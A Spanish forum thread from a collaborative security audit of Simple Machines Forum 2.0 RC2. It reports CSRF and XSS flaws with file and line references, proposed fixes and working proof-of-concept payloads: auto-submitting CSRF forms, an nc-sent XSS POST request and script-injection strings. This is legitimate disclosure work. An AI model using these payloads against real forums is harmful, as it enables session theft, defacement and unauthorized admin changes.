Auditoría de seguridad hacia Simple Machines Forum 2.0

Iniciado por WHK, 18 Octubre 2009, 23:13 PM

0 Miembros y 5 Visitantes están viendo este tema.

WHK

#20
Detalles


 
 
 
 
 
 
Descripción:Desinstalación arbitraria de mods
Descubierto por:WHK@elhacker.net
Código vulnerable:Sources/Packages.php:1167
URL Vulnerable:index.php?action=admin;area=packages;sa=flush
PoC:N/A
Afecta a:‭‬SMF 2.0 RC2



Descripción

Voy a comenzar explicando la prueba de concepto directamente:
http://localhost/smf2.0/index.php?action=admin;area=packages;sa=flush

Primero que nada decir que esta acción no requiere de ningún token por lo
tanto puede ser ejecutado de forma arbitraria y consiste en que te elimina
todo el listado de paquetes instalados en el archivo que contiene todas tus
instalaciones "installed.list".

Si por ejemplo tienes instalado 4 mods los cuales modificaron tu foro ya no
podrás desintalarlos porque no figurarán instalados y los cambios en el
foro permanecerán modificados, eso quiere decir que si intentas reinstalar
el mismo mod no podrás porque los cambios ya están hechos y por lo tanto
tampoco puedes desintalarlos ni eleiminarlos.

Esto puede afectar por completo el funcionamiento de tu foro al intentar
realizar una actualización o cambio en un paquete nuevo ya que las
busquedas de reemplazo de strings en los archivos del foro ya no serán los
mismos.

La única solución sería restaurar un respaldo creado con anterioridad o
volver a instalar tu foro nuevamente con cada mod.

El fallo se produce en el archivo Sources/Packages.php linea 1167 en la
función "FlushInstal" ya que desde que es llamada la función hasta que
finaliza en ningúna parte se solicita un token de verificación para evitar
una ejecución arbitraria de esta acción.

http://code.google.com/p/smf2-review/source/browse/trunk/Sources/Packages.php#1167

WHK

#21
Detalles


 
 
 
 
 
 
Descripción:XSS en el buscador de usuarios
Descubierto por:WHK@elhacker.net
Código vulnerable:code: Sources/Subs-Auth.php:551
URL Vulnerable:URL: index.php?action=findmember;[TOKEN]
PoC:POST:
search=dd&input=pm_ignore_list&delim=%27%22%3c%3e%5b%58%53%53%20%61%63%e1%5d&quote=0
Afecta a:‭‬SMF 2.0 RC2



Descripción

El problema está en el archivo Sources/Subs-Auth.php linea 551
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/Subs-Auth.php#551

ya que cuando se supone que debe filtrar en htmlspecialchars realmente no
lo hace:

Código (php) [Seleccionar]
// Take the delimiter over GET in case it's \n or something.
$context['delimiter'] = isset($_REQUEST['delim']) ? ($_REQUEST['delim'] ==
'LB' ? '\\n' : $smcFunc['htmlspecialchars']($_REQUEST['delim'])) : ', ';
$context['quote_results'] = !empty($_REQUEST['quote']);


Pero, porque no funciona en modo GET y si funciona en modo POST?
eso es porque smf pasa $_POST por $_REQUEST autobypaseando filtros como este.

Tal como me lo comentaba sirdarckcat, al principio es necesario ingresar el
token del usuario afectado pero eso puede ser bypaseado enviandolo sin su
sesión logueada, entonces cuando loguee se le redireccionará hcia su
busqueda infectada con el xss.

Prueba de concepto:
Código (bash) [Seleccionar]
nc -v 127.0.0.1 80
POST /smf_2/index.php?action=findmember;[TOKEN] HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.1.5)Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-cl,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Cookie: PHPSESSID=[cookie]
Content-Type: application/x-www-form-urlencoded
Content-Length: 85

search=dd&input=pm_ignore_list&delim=%27%22%3c%3e%5b%58%53%53%20%61%63%e1%5d&quote=0


Retornará un código inyectado dentro del tag "<script />"

WHK

#22
Detalles


 
 
 
 
 
 
Descripción:CSRF+XSS en el administrador de lenguajes
Descubierto por:cicatriz.r00t@gmail.com
Código vulnerable:N/A
URL Vulnerable:/index.php?action=admin;area=languages;sa=editlang;lid=english;
PoC:N/A
Afecta a:‭‬SMF 2.0 RC2



Descripción

En este ataque se utiliza Cross-Site Request Forgery para realizar un
ataque Cross-Site Scripting.
Proof-of-Concept:
Código (html4strict) [Seleccionar]
<body onload="document.forms[0].elements[5].click()">
<form
action="/index.php?action=admin;area=languages;sa=editlang;lid=english;"
method="post" accept-charset="UTF-8">
<input name="character_set" size="20" value="ISO-8859-1" type="text">
<input name="locale" size="20" value="en_US" type="text">
<input name="dictionary" size="20" value="en" type="text">
<input name="spelling" size="20"
value="american&#34;&#62;&#60;&#104;&#49;&#62;&#88;&#83;&#83;&#60;&#47;&#104;&#49;&#62;"
type="text">
<input name="rtl" class="check" type="checkbox">
<input type="submit" value="Save" name="save_main"/>
</form>
</body>


Otra cosa a resaltar es el echo de poder cambiar el tipo de character set.
Cosa que nos daría la libertad de elegir un encoding vulnerable como UTF-7.

El problema se ubica aquí:

Código (bash) [Seleccionar]
+++/var/www/POC/smf_2-0-rc1-2_install/Sources/ManageServer.php @@ 1195:1201
 1195 $replace_array = array(
 1196 '~\$txt\[\'lang_character_set\'\]\s=\s(\'|")[^\'"]+(\'|");~' =>
'$txt[\'lang_character_set\'] = \'' . addslashes($_POST['character_set']) .
'\';',
 1197 '~\$txt\[\'lang_locale\'\]\s=\s(\'|")[^\'"]+(\'|");~' =>
'$txt[\'lang_locale\'] = \'' . addslashes($_POST['locale']) . '\';',
 1198 '~\$txt\[\'lang_dictionary\'\]\s=\s(\'|")[^\'"]+(\'|");~' =>
'$txt[\'lang_dictionary\'] = \'' . addslashes($_POST['dictionary']) . '\';',
 1199 '~\$txt\[\'lang_spelling\'\]\s=\s(\'|")[^\'"]+(\'|");~' =>
'$txt[\'lang_spelling\'] = \'' . addslashes($_POST['spelling']) . '\';',
 1200 '~\$txt\[\'lang_rtl\'\]\s=\s[A-Za-z0-9]+;~' =>
'$txt[\'lang_rtl\'] = ' . (!empty($_POST['rtl']) ? 'true' : 'false') . ';',
 1201 );
---/var/www/POC/smf_2-0-rc1-2_install/Sources/ManageServer.php


http://code.google.com/p/smf2-review/source/browse/trunk/Sources/ManageServer.php#1195

Lo único que salva al foro de no sufrir la ejecución de PHP es la función
addslashes(), porque todos estos datos son escritos a un archivo.

WHK

#23
Detalles


 
 
 
 
 
 
Descripción:XSS en el nombre del foro
Descubierto por:ysk.sft@gmail.com
Código vulnerable:N/A
URL Vulnerable:N/A
PoC:N/A
Afecta a:‭‬SMF 2.0 RC2



Descripción

El sistema para agregar subforos no filtra caracteres al agregar subforos,
haciendo que se pueda agregar codigo ‭‬javascript entre otros no solo en el
index si no que tambien en diversos lugares del panel de administración
entre ellos el mismo panel de administración de subforos , haciendo que
mediante codigo ‭‬javascript se podria hacer que en el navegador no se
pudiera ver el panel de administración de subforos haciendo casi imposible
para una persona de conocimientos basicos modificar el subforo para
eliminar el deface que se podria hacer con el XSS .

Saludos ;)

WHK

#24
Detalles


 
 
 
 
 
 
Descripción:XSS en la URL del logo
Descubierto por:cicatriz.r00t@gmail.com
Código vulnerable:N/A
URL Vulnerable:/index.php?action=admin;area=theme;sa=settings;th=1;
PoC:options[header_logo_url]=."/onerror=alert(0);//
Afecta a:‭‬SMF 2.0 RC2



Descripción

Bueno, esto en realidad no me pareció muy relevante pero quizás sirva de
todos modos. Si vamos a la pagina de administracion donde se cambia la
configuracion del theme que se esta usando
(/index.php?action=admin;area=theme;sa=settings;th=1;) y al modificar el
input "options[header_logo_url]", si ponemos algo como esto:
Código (html4strict) [Seleccionar]
."/onerror=alert(0);//

El código JS se ejecutaría en cualquier parte del foro.

WHK

#25
Detalles


 
 
 
 
 
 
Descripción:CSRF en la configuración de post
Descubierto por:brlvldvlsmrtnz@gmail.com
Código vulnerable:N/A
URL Vulnerable:index.php?action=admin;area=postsettings;save;sa=posts
PoC:<form name=exploit method=POST
action=http://localhost/index.php?action=admin;area=postsettings;save;sa=posts
<input type=hidden name=enableEmbeddedFlash value=1>
</form>
Afecta a:‭‬SMF 2.0 RC2



Descripción

The vulnerabilitie is found in the function ModifyPostSettings in the file
ManagePosts.php , this function allows to you to change the post settings
and it does not verify the token of the session so ... It is CSRF.
The POC:
Código (html4strict) [Seleccionar]
<html>
<head>
<title></title>
</head>
<body>
<form name=exploit method=POST action=http://localhost/index.php?action=admin;area=postsettings;save;sa=posts>
<input type=hidden name=enableEmbeddedFlash value=1>
</form>
<script>
document.exploit.submit();
</script>
</body>
</html>

WHK

#26
Detalles


 
 
 
 
 
 
Descripción:XSS en el buscador de lenguajes
Descubierto por:brlvldvlsmrtnz@gmail.com
Código vulnerable:ManageServer.php:408
URL Vulnerable:index.php?action=admin;area=languages;sa=add;[token]
PoC:<xss>
Afecta a:‭‬SMF 2.0 RC2



Descripción

La vulnerabilidad está en el buscador de lenguajes en la variable smf_add
que va dentro de un textbox.
Hay que escribir ">(codigo)

http://localhost/SMF/index.php?action=admin;area=languages;sa=add;[token]

WHK

#27
Detalles


 
 
 
 
 
 
Descripción:XSS en "theme name" de "themes and layout settings"
Descubierto por:brlvldvlsmrtnz@gmail.com
Código vulnerable:Themes.php:346
URL Vulnerable:index.php?action=admin;area=theme;sa=list;token
PoC:N/A
Afecta a:‭‬SMF 2.0 RC2



Descripción

Si en los theme settings cambias el nombre del tema por uno que contenga
html y te vas a los themes and layout settings, verás tu código.

El error está en el archivo Themes.php en la línea 346 en la que hay que
poner :
Código (php) [Seleccionar]
$context['themes'][$row['id_theme']][$row['variable']] = htmlspecialchars($row['value']);
Adjunto archivo supuestamente seguro.

http://localhost/SMF/index.php?action=admin;area=theme;sa=list;token



Solución
http://smf2-review.googlecode.com/issues/attachment?aid=5572441877403199176&name=Themes.php

WHK

#28
Detalles


 
 
 
 
 
 
Descripción:XSS en "theme url and settings"
Descubierto por:brlvldvlsmrtnz@gmail.com
Código vulnerable:N/A
URL Vulnerable:index.php?action=admin;area=theme;sa=settings;th=2;[token]
PoC:http://urlreal"><script>alert(1);</script>
Afecta a:‭‬SMF 2.0 RC2



Descripción

La vulnerabilidad se explota desde donde se configura el tema actual y es
vulnerable además del logo (que ya pusieron antes) en la url del tema y de
las imágenes.
Poniendo en las urls: http://urlreal"><script>alert("robamos tus cookies
gracias...");</script> se consigue ejecutar ese código ‭‬‭‬‭‬javascript cada vez
que se muestre una imagen o se llame  a una hoja de estilo.



Solución
Esto se arregla en las líneas 819,820,821 poniendo esto :

Código (php) [Seleccionar]
foreach ($_POST['options'] as $opt => $val)
$inserts[] = array(0, $_GET['th'], htmlspecialchars($opt),
is_array($val) ? implode(',', htmlspecialchars($val)) : $val);


En el archivo themes.php en la url :
http://localhost/SMF/index.php?action=admin;area=theme;sa=settings;th=2;[token]

WHK

#29
Detalles


 
 
 
 
 
 
Descripción:XSS en "theme url and settings"
Descubierto por:brlvldvlsmrtnz@gmail.com
Código vulnerable:N/A
URL Vulnerable:index.php?action=admin;area=theme;sa=settings;th=2;[token]
PoC:http://urlreal"><script>alert(1);</script>
Afecta a:‭‬SMF 2.0 RC2



Descripción

http://localhost/SMF/index.php?action=admin;area=theme;sa=edit;toke

Para arreglarlo hay que cambiar la línea 1711 del archivo themes.php por esta :
Código (php) [Seleccionar]
$context['themes'][$row['id_theme']][$row['variable']] =
htmlspecialchars($row['value']);